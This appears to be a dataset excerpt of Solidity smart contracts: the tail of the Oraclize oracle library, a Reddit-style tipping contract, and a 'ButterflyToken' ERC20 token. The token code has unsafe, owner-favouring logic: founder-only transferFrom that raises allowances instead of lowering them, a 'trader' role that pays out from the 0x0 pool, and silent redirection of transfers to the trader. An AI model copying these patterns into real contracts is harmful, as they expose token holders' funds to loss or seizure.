function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.19;
contract OldData {
mapping(bytes32 => address) public oldUsers;
bytes32[] public allOldUsers;
function OldData() public {
allOldUsers.push("anatalist");
allOldUsers.push("djoney_");
allOldUsers.push("Luit03");
allOldUsers.push("bquimper");
allOldUsers.push("oblomov1");
allOldUsers.push("myownman");
allOldUsers.push("saxis");
allOldUsers.push("bobanm");
allOldUsers.push("screaming_for_memes");
allOldUsers.push("playingethereum");
allOldUsers.push("eli0tz");
allOldUsers.push("BrBaumann");
allOldUsers.push("sunstrikuuu");
allOldUsers.push("RexetBlell");
allOldUsers.push("some_random_user_0");
allOldUsers.push("SterLu");
allOldUsers.push("besoisinovi");
allOldUsers.push("Matko95");
oldUsers["anatalist"] = 0xC11B1890aE2c0F8FCf1ceD3917D92d652e5e7E11;
oldUsers["djoney_"] = 0x0400c514D8a63CF6e33B5C42994257e9F4f66dE0;
oldUsers["Luit03"] = 0x19DB8629bCCDd0EFc8F89cE1af298D31329320Ec;
oldUsers["bquimper"] = 0xaB001dAb0D919A9e9CafE79AeE6f6919845624f8;
oldUsers["oblomov1"] = 0xC471df16A1B1082F9Be13e70dAa07372C7AC355f;
oldUsers["myownman"] = 0x174252aE3327DD8cD16fE3883362D0BAB7Fb6f3b;
oldUsers["saxis"] = 0x27cb2A354E2907B0b5F03BB03d1B740a55A5a562;
oldUsers["bobanm"] = 0x45E0F19aDfeaD31eB091381FCE05C5DE4197DD9c;
oldUsers["screaming_for_memes"] = 0xfF3a0d4F244fe663F1a2E2d87D04FFbAC0910e0E;
oldUsers["playingethereum"] = 0x23dEd0678B7e41DC348D1D3F2259F2991cB21018;
oldUsers["eli0tz"] = 0x0b4F0F9CE55c3439Cf293Ee17d9917Eaf4803188;
oldUsers["BrBaumann"] = 0xE6AC244d854Ccd3de29A638a5A8F7124A508c61D;
oldUsers["sunstrikuuu"] = 0xf6246dfb1F6E26c87564C0BB739c1E237f5F621c;
oldUsers["RexetBlell"] = 0xc4C929484e16BD693d94f9903ecd5976E9FB4987;
oldUsers["some_random_user_0"] = 0x69CC780Bf4F63380c4bC745Ee338CB678752301a;
oldUsers["SterLu"] = 0xe07caB35275C4f0Be90D6F4900639EC301Fc9b69;
oldUsers["besoisinovi"] = 0xC834b38ba4470b43537169cd404FffB4d5615f12;
oldUsers["Matko95"] = 0xC26bf0FA0413d9a81470353589a50d4fb3f92a30;
}
function getArrayLength() public view returns(uint) {
return allOldUsers.length;
}
}
contract Extend is usingOraclize {
event LogQuery(bytes32 query, address userAddress);
event LogBalance(uint balance);
event LogNeededBalance(uint balance);
event CreatedUser(bytes32 username);
event UsernameDoesNotMatch(bytes32 username, bytes32 neededUsername);
event VerifiedUser(bytes32 username, address userAddress);
event UserTipped(address from, bytes32 indexed username, uint val, bytes32 indexed commentId, bool reply);
event WithdrawSuccessful(bytes32 username);
event CheckAddressVerified(address userAddress);
event RefundSuccessful(address from, bytes32 username);
event GoldBought(uint price, address from, bytes32 to, string months, string priceUsd, bytes32 indexed commentId, string nonce, string signature, bool reply);
modifier onlyVerified() {
require(users[msg.sender].verified);
_;
}
struct User {
bytes32 username;
bool verified;
}
mapping(bytes32 => address) public usernameToAddress;
mapping(bytes32 => address) public queryToAddress;
mapping(address => mapping(bytes32 => uint)) public tips;
mapping(address => mapping(bytes32 => uint)) public lastTip;
mapping(bytes32 => uint) public balances;
mapping(address => User) public users;
address public owner;
uint public goldBalance;
OldData public oldData;
function Extend(address _oldData) public {
oldData = OldData(_oldData);
owner = msg.sender;
oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS);
createOldUsers();
}
function getOraclizePrice() public constant returns (uint) {
return oraclize_getPrice("nested");
}
function getAddressFromUsername(bytes32 _username) public constant returns (address) {
return usernameToAddress[_username];
}
function getUsernameForAddress(address _address) public constant returns (bytes32) {
if (users[_address].verified) {
return users[_address].username;
}
return 0x0;
}
function checkAddressVerified() public constant returns (bool) {
return users[msg.sender].verified;
}
function checkUsernameVerified(bytes32 _username) public constant returns (bool) {
return users[usernameToAddress[_username]].verified;
}
function checkBalance() public onlyVerified constant returns (uint) {
return balances[users[msg.sender].username];
}
function checkIfRefundAvailable(bytes32 _username) public constant returns (bool) {
return ((lastTip[msg.sender][_username] < (now - 2 weeks)) &&
(tips[msg.sender][_username] > 0));
}
function createUser(bytes32 _username, string _token) public payable {
users[msg.sender] = User({
username: _username,
verified: false
});
if (oraclize_getPrice("nested") > msg.value) {
LogBalance(msg.value);
LogNeededBalance(oraclize_getPrice("nested"));
return;
}
string memory queryString = strConcat("[computation] ['QmaCikXkkUHD7cQMK3AJhTjpPmNj4hLwf3DXBzcEpM9vnL', '${[decrypt] ", _token, "}']");
bytes32 queryId = oraclize_query("nested", queryString);
queryToAddress[queryId] = msg.sender;
LogQuery(queryId, msg.sender);
CreatedUser(_username);
}
function __callback(bytes32 _myid, string _result, bytes _proof) public {
require(msg.sender == oraclize_cbAddress());
address queryAddress = queryToAddress[_myid];
bytes32 usernameFromAddress = users[queryAddress].username;
bytes32 resultBytes = stringToBytes32(_result);
if (usernameFromAddress != resultBytes) {
UsernameDoesNotMatch(resultBytes, usernameFromAddress);
return;
}
users[queryAddress].verified = true;
usernameToAddress[usernameFromAddress] = queryAddress;
VerifiedUser(usernameFromAddress, queryAddress);
if (balances[usernameFromAddress] > 0) {
sendTip(usernameFromAddress, balances[usernameFromAddress]);
}
}
function tipUser(bytes32 _username, bytes32 _commentId, bool _reply) public payable {
tips[msg.sender][_username] += msg.value;
balances[_username] += msg.value;
lastTip[msg.sender][_username] = now;
UserTipped(msg.sender, _username, msg.value, _commentId, _reply);
sendTip(_username, msg.value);
}
function refundMoneyForUser(bytes32 _username) public {
require(lastTip[msg.sender][_username] < (now - 2 weeks));
require(!checkUsernameVerified(_username));
uint toSend = tips[msg.sender][_username];
balances[_username] -= tips[msg.sender][_username];
tips[msg.sender][_username] = 0;
msg.sender.transfer(toSend);
RefundSuccessful(msg.sender, _username);
}
function buyGold(bytes32 _to,
string _months,
string _priceUsd,
bytes32 _commentId,
string _nonce,
string _signature,
bool _reply) public payable {
goldBalance += msg.value;
GoldBought(msg.value, msg.sender, _to, _months, _priceUsd, _commentId, _nonce, _signature, _reply);
}
function withdrawGoldMoney() public {
require(owner == msg.sender);
uint toSend = goldBalance;
goldBalance = 0;
owner.transfer(toSend);
}
function stringToBytes32(string memory _source) private returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(_source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(_source, 32))
}
}
function sendTip(bytes32 _username, uint _value) private {
address userAddress = usernameToAddress[_username];
if (userAddress != 0x0 && _value > 0) {
balances[_username] = 0;
userAddress.transfer(_value);
}
}
function createOldUsers() private {
uint arrayLen = oldData.getArrayLength();
for (uint i=0; i<arrayLen; i++){
bytes32 oldUsername = oldData.allOldUsers(i);
address oldAddress = oldData.oldUsers(oldData.allOldUsers(i));
users[oldAddress] = User({
username: oldUsername,
verified: true
});
usernameToAddress[oldUsername] = oldAddress;
CreatedUser(oldUsername);
VerifiedUser(oldUsername, oldAddress);
}
}
function () public payable {
revert();
}
} | 0 | 743 |
pragma solidity ^0.4.17;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract BKToken is SafeMath {
string public constant name = "ButterflyToken";
string public constant symbol = "BK";
uint public constant decimals = 8;
uint256 _totalSupply = 7579185859 * 10**decimals;
address trader = 0x60C8eD2EbD76839a5Ec563D78E6D1f02575660Af;
function setTrader(address _addr) returns (bool success){
if (msg.sender!=founder) revert();
trader = _addr;
}
function totalSupply() constant returns (uint256 supply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
require((_value == 0)||(allowed[msg.sender][_spender] ==0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
enum DistType{
Miner,
Team,
Private_Placement,
Foundation
}
mapping(address => uint256) balances;
mapping(address => uint256) distBalances;
mapping(address => DistType) public distType;
mapping(address => mapping (address => uint256)) allowed;
uint public baseStartTime;
address startAddr = 0x1B66B59ABBF0AEB60F30E89607B2AD00000186A0;
address endAddr = 0x1B66B59ABBF0AEB60F30E89607B2AD00FFFFFFFF;
address public founder;
uint256 public distributed = 0;
event AllocateFounderTokens(address indexed sender);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Tradein(address indexed _from, address indexed _to, uint256 _value);
event Transgap(address indexed _from, address indexed _to, uint256 _value);
function BKToken() {
founder = msg.sender;
baseStartTime = now;
distribute(0x0,DistType.Miner);
distribute(0x2Ad35dC7c9952C4A4a6Fe6f135ED07E73849E70F,DistType.Team);
distribute(0x155A1B34B021F16adA54a2F1eE35b9deB77fDac8,DistType.Private_Placement);
distribute(0xB7e3dB36FF7B82101bBB16aE86C9B5132311150e,DistType.Foundation);
}
function setStartTime(uint _startTime) {
if (msg.sender!=founder) revert();
baseStartTime = _startTime;
}
function setOffsetAddr(address _startAddr, address _endAddr) {
if (msg.sender!=founder) revert();
startAddr = _startAddr;
endAddr = _endAddr;
}
function distribute(address _to, DistType _type) {
if (msg.sender!=founder) revert();
uint256 _percent;
if(_type==DistType.Miner)
_percent = 980;
if(_type==DistType.Team)
_percent = 4;
if(_type==DistType.Private_Placement)
_percent = 1;
if(_type==DistType.Foundation)
_percent = 15;
uint256 _amount = _percent * _totalSupply / 1000;
if (distributed + _amount > _totalSupply) revert();
distType[_to] = _type;
distributed += _amount;
balances[_to] += _amount;
distBalances[_to] += _amount;
Transfer(0,_to,_amount);
}
function dealorder(address _to, uint256 gapvalue){
if (msg.sender!=trader) revert();
_transfer(0x0,_to,gapvalue);
Transgap(0x0,_to,gapvalue);
}
function _transfer(address _from, address _to, uint256 _value) internal
{
if (_to == 0x0) throw;
if (_value <= 0) throw;
if (balances[_from] < _value) throw;
if (balances[_to] + _value < balances[_to]) throw;
balances[_from] = SafeMath.safeSub(balances[_from], _value);
balances[_to] = SafeMath.safeAdd(balances[_to], _value);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (now < baseStartTime) revert();
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
uint _freeAmount = freeAmount(msg.sender);
if (_freeAmount < _value) {
revert();
return false;
}
balances[msg.sender] = SafeMath.safeSub(balances[msg.sender], _value);
if(_to >= startAddr && _to <= endAddr){
balances[trader] = SafeMath.safeAdd(balances[trader], _value);
Tradein(msg.sender, _to, _value);
Transfer(msg.sender, trader, _value);
}
else{
balances[_to] = SafeMath.safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
return true;
} else {
revert();
return false;
}
}
function freeAmount(address user) view returns (uint256 amount) {
if (user == founder) {
return balances[user];
}
if (now < baseStartTime) {
return 0;
}
if(distType[user] == DistType.Miner){
return balances[user];
}
uint monthDiff = uint((now - baseStartTime) / (30 days));
uint yearDiff = uint((now - baseStartTime) / (360 days));
if (monthDiff >= 36) {
return balances[user];
}
uint unrestricted;
if(distType[user] == DistType.Team){
if(monthDiff < 36)
unrestricted = (distBalances[user] / 36) * monthDiff;
else
unrestricted = distBalances[user];
}
if(distType[user] == DistType.Private_Placement){
if(monthDiff < 12)
unrestricted = (distBalances[user] / 12) * monthDiff;
else
unrestricted = distBalances[user];
}
if(distType[user] == DistType.Foundation){
if(monthDiff < 12)
unrestricted = (distBalances[user] / 3) + (distBalances[user] / 18)*(monthDiff);
else
unrestricted = distBalances[user];
}
if (unrestricted > distBalances[user]) {
unrestricted = distBalances[user];
}
if (unrestricted + balances[user] < distBalances[user]) {
amount = 0;
} else {
amount = unrestricted + (balances[user] - distBalances[user]);
}
return amount;
}
function changeFounder(address newFounder) {
if (msg.sender!=founder) revert();
founder = newFounder;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (msg.sender != founder) revert();
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
uint _freeAmount = freeAmount(_from);
if (_freeAmount < _value) {
revert();
return false;
}
balances[_to] = SafeMath.safeAdd(balances[_to], _value);
balances[_from] = SafeMath.safeSub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.safeAdd(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
} else {
revert();
return false;
}
}
function withdrawEther(uint256 amount) {
if(msg.sender != founder)throw;
founder.transfer(amount);
}
function() payable {
}
